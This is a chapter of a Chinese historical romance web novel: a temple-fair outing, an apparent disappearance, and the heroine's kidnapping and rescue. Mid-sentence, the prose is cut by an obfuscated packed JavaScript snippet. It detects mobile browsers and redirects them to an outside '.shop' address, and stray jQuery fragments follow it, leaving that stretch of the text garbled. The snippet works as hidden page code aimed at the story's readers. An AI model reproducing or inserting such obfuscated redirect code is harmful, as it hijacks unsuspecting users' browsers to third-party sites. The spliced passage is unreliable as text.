转着转着,转到了第一次和小哥哥吃羊肉粉的面馆。
松月心坐在对面大快朵颐,“姑娘,这家面馆的羊肉粉可真劲道!”
“上次我可吃了三大碗。”
松月心道:“我也要再来两碗。”
苏樨又炫了三碗粉,和松月心一起大着肚子出了面馆。
“可惜小哥哥因为出门逛一次街会让许多姑娘见之尾随,他都不大愿意露脸,只带我来了这个面馆吃。”
松月心摸着圆滚滚的肚子,“姑娘,以后我都陪姑娘一起逛!”
“我们要一起吃遍西大街!”
苏樨和松月心带了一只烤鸭回去。
宋临墨很是满意,“樨樨总算知道当老板的多不容易了,来孝敬我了。不枉费本老板一心栽培。”
“这家烤鸭店我们可是排了很久的队才买到的!本打算给小哥哥吃的,但暗卫传信说他今晚也不回来,真是便宜你了。我这么体贴可爱的小工你是修了几辈子的福气。”
宋临墨给她甩了一个白眼,“你是跟九王爷混久了吧,说话都一个讨人厌的腔调。”
应紫荆到访珍宝轩时,苏樨和松月心正对着几支新进的玉钗画图写文案。
“月心,你多才多艺武功高强,玉衡小哥哥每月给你多少工钱雇你?”
松月心愣住了,她身为暗卫,后来又调拨给将军潜伏在民间做布衣接应,只管着自己吃喝不愁就罢了,从没有想过自己每月拿多少银子。钱不够了就往上写封信,自会有人下拨银子给她。
苏樨看她半天不吭声,大吃一惊,“不会他没给你发工钱吧?多久了呀,你怎不去找他说?”
“姑娘不是的。”
“你是不好意思跟他讲,怕他让你卷铺盖走人?莫非是不是也没的工钱?等他哪日回来了我替你们说说,顺带我们做的小册子上头的物件卖出去了,我也分你一半提成。”
松月心从没得到过这种掏心掏肺的相待,一时间百感交集,“姑娘……”
应紫荆清脆如银铃的声音在柜台前响起。“樨樨。”
松月心倏地站起,“应小姐,您看姑娘来了。”
苏樨收起小册子,放下笔,“紫荆姐姐。”
应紫荆道:“玉衡最近忙的不见人影,先前交代让我常顾着你一些,这不,宋老板说你都快在库房扎根发芽了,我带你出去走走。”
“紫荆姐姐,去哪里?”
宋临墨在茶座那边幽幽道:“让你出门还得第一美人来请,架子忒大了。”
苏樨大人大量,才懒得跟找茬的上司争辩。
“苏姑娘尽责,宋老板你可偷着乐吧。”绿梅在一旁也为苏樨打抱不平。
“樨樨,今儿是庙会,我带你去逛逛。松姑娘和莫护卫也一起。”
应紫荆拉着苏樨上了马车,苏樨还穿着小工的蓝色工服,看着像是第一美人的第五个小跟班。
庙会很是热闹,人来人往熙熙攘攘。
苏樨也就因为半只脚踏入“珠宝玉器”行业,只在小摊前看看民间的行情如何。应紫荆出门都遮着半面,在一旁同苏樨解释一些比较罕见的玉器银器意象。
“樨樨,这是蜂纹,蜂纹在民间通常是勤劳丰足之意。不过我们大晏有一隐秘氏族,驯养蜂群,后以蜂传信,亦可寻觅踪迹,蜂纹在其氏族象征传信使。”
苏樨大受裨益。
末了,应紫荆笑骂,“出来玩玩个痛快,可别再想着珍宝轩的活计了。再说,若是玉衡不争气还要你吃苦受累,我可要去说他的不是了。”
“樨樨,玉衡也不至于真养不起家,你相信他。你也莫怕他始乱终弃会抛下你孤苦伶仃的,我和我娘都会收拾他的。”
苏樨叹气,“并非因为争气我才到珍宝轩打工的,只是前段时间我对他太上头,他不在时我满脑子都是他,这才找点事做转移注意力不让自己对他太过着迷失去自我,女人还是得有自己的事业。”
应紫荆沉默片刻,赞同,“樨樨此言并非毫无道理。”
“当然,这又是能顺带赚钱的事情,谁又会嫌钱多呢?”
几人齐齐来到祈福树下。
金色的树叶下,树枝枝桠上挂满了祝福的祈愿牌。
绿梅道:“小姐,苏姑娘,我们也来祈愿吧。这个祈愿树可灵了。上次我就在这祈愿我爹腿伤快好,果真很快就好了,大夫都说痊愈得太快,属实震惊。”
应紫荆也难得出府玩一趟,“樨樨,我们一起写吧。”
苏樨和应紫荆围着一个卖祈愿木牌的小摊,苏樨挑了个蝶形地木牌,应紫荆挑了花牌。绿梅、松月心和莫非也各自挑了一个。
苏樨拿着笔还在想祈愿的文字,应紫荆已经放下了笔,递给一旁的绿梅,道:“我先去挂上。”
苏樨正想到了一个绝妙的点子,写完还没放下笔,却听绿梅“呀”了一声,“我家小姐呢?”
苏樨往条枝连抱的祈愿树下看去,虽说庙会人来人往,此刻祈愿树下却只有几个少男少女在谈恋爱,那几个人看过去就明了了。没有应紫荆浅青色的身影。
四人急急走到祈愿树下,绿梅着急地东跑西跑,不住跺脚。
苏樨环顾四周,心情也逐渐焦躁起来。
这个年代没有天网,要是被人拐走了怎么办?
庙会这么多人,到时候要怎么找?
绿梅绕了一圈,急得要哭,“苏姑娘,这可怎么办呐?我家小姐会不会被歹人拐走了?”
苏樨道:“我们分头去问问。这么多人总有看到你家小姐的。”
绿梅突然尖叫了一声,“这是小姐的字,小姐的祈愿牌怎么掉在这里了?我家小姐人呢?”
苏樨也终于慌了,“莫非,你去通知太傅府上,看看能否让谁带官兵来找人,我们仨在这里再问问找找线索。”
莫非应了一声,身影立刻消失在了人群中。
祈愿牌是掉在祈愿树的正下方的,苏樨问了好几对情侣都说没注意有这么一个小姐。
苏樨走到附近地小摊上询问小摊贩,按理说应紫荆气度不凡、打扮非富即贵,也不至于没人会没注意到她。
苏樨回头看向祈愿树,希望应紫荆会直接被传送回树底下,她的消失只是无意中闯入了另一个平行时空。
一个苍老年迈的老婆婆拉了拉苏樨的袖子,声音干涩如撕纸:“我看见你说的那位小姐……往这个方向去了。”
苏樨道了一声谢,往老婆婆指的方向走去,刚走出人群,口鼻突然被捂住,她吓得都没来得及叫出声或者挣扎,便失去了意识。
莫非赶回太傅府说明此事以后,太傅府上下出动,应紫苏将正在喝酒的京府尹揪了出来。京府尹那点醉意都吓醒了。
应紫苏和京府尹带人来到庙会,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627027|184639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在拥挤的人群中找应紫荆未果。
直到庙会结束,晏京宵禁,人群散去,一眼就能望到头的庙会街市上哪有应紫荆的身影。
“绿梅,大哥,这是怎么了?”应紫荆从祈愿树后头走出,奇怪地问道,“白大人,这是又出了什么案子?”
绿梅回头一看,“哇”一声哭了。“小姐,你吓死绿梅了,你去哪儿了!”
应紫苏一本正经道:“紫荆,你方才去哪里了,他们都以为你被人拐走了,在四处找你。”
应紫荆皱起眉,“说来也怪,我在树下,突然有些头晕,一位姑娘扶着我到树后头歇了,我便睡了过去,身上还盖着她的斗篷。”
众人皆松了一口气。
应紫荆“咦”了一声,“樨樨呢?”
祈愿树不远处,松月心脸色发白,声音因惊惧惶恐而发抖,“应小姐,应少爷,我家姑娘不见了。”
应紫荆环顾四周,唤了几声苏樨的名字,也有些心慌。
应紫苏问道,“你家姑娘今日穿的什么?”
“珍宝轩的衣裳,蓝色的那身工服。”
应紫苏便问白大人,“白大人,您手底下人可有看到过一身蓝色小工衣裳的姑娘?”
片刻过后,衙役回禀说没人看到。
应紫荆拉过松月心发抖的手,“松姑娘莫慌。大哥,去通知玉衡,樨樨身上有我制的香囊,可让黑犬寻香追踪。”
松月心听到这算是松了口气,“拜托应小姐也给一份香料于我,我们松家族里有秘传,可以识香通信,也可寻人。”
苏樨迷迷糊糊醒来,在一个灯火通明的房间。
她双手双脚被绑着,动弹不得。要不是身处别的房间,嘴巴里又被塞了一团布,她都能梦回小哥哥留宿那一夜了。
这么一想她可能真有这种异常癖好……
苏樨摇了摇头,赶紧搞清楚自己处境。
她应该是被人绑了,不知是出于什么目的,也不知道紫荆姐姐和月心发现没有,会不会及时来救到自己。
在这种陌生环境下,自救可能性大吗?
首先这绑的绳子她就挣脱不了。
靠那种碎碗片能割破吗?
……
这个房间布置有些讲究,雕梁画栋什么的,但是她偏偏就没看见有半个瓷器的玩意儿。
什么破地方,连个花瓶都没有。
把她绑来送人家床上,还给她换了个嫣红流金的“辣妹装”,上身露脐肚兜,下身超短裙,其余肌肤都是用若隐若现的红色薄纱遮掩。
品味真是超前。
苏樨想从床上坐起,但因腰腹力量不够试了很多次起不了身,只能如任人宰割的鱼肉躺在床板上。
片刻,床榻对面的窗户传来异动。
她眼睁睁地看着窗闩被一把匕首起开,脑中转过好几个念头,最后许愿是小哥哥来英雄救美。窗户被人推开,一张熟悉的脸出现在视线里。
苏樨激动了,弹涂鱼一样弹射起身,果不其然又失败了,倒回床上如鱼缺水一样用嘴喘气。
姬玉衡站在窗户口,食指贴在唇边,做了个噤声的动作。他一身夜行衣利落地从窗户跳进了屋。
苏樨松了口气。
下一刻她猛地一惊,惊恐地瞪着姬玉衡的身后。
一张阴沉苍白、两眼翻白的鬼脸毫无预兆地从窗前落下。